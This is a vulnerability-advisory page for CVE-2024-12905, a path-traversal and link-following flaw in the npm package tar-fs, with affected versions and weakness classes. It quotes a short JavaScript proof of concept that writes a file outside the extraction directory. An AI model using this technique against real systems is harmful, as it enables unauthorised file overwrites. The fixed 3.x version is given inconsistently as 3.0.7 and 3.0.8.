NetSight
IP …
high7.5Public exploit code

CVE-2024-12905

tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File

Public exploit code

Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.

Impact

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package. This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7. ### PoC ```javascript // Create a writable stream to extract the tar content const extractStream = tarfs.extract('/', { // We can ignore the file type checks to allow the extraction of the malicious file ignore: (name) => false, }); // Create a tar stream const tarStream = tarfs.pack().on('error', (err) => { throw err; }); // Append the malicious entry to the tar stream tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!')); // Finalize the tar stream tarStream.finalize(); // Pipe the tar stream into the extract stream tarStream.pipe(extractStream); ```

Affected packages

EcosystemPackageAffectedFixed in
npmtar-fs< 1.16.41.16.4

Affected products

ProductAffected versions
Tar-Fs: From 0.0.0
before 1.16.4
From 2.0.0
before 2.1.2
From 3.0.0
before 3.0.8.

Versions were read from the advisory text. No structured product data has been published for this record yet.

Weakness classification

CWE-22CWE-59

References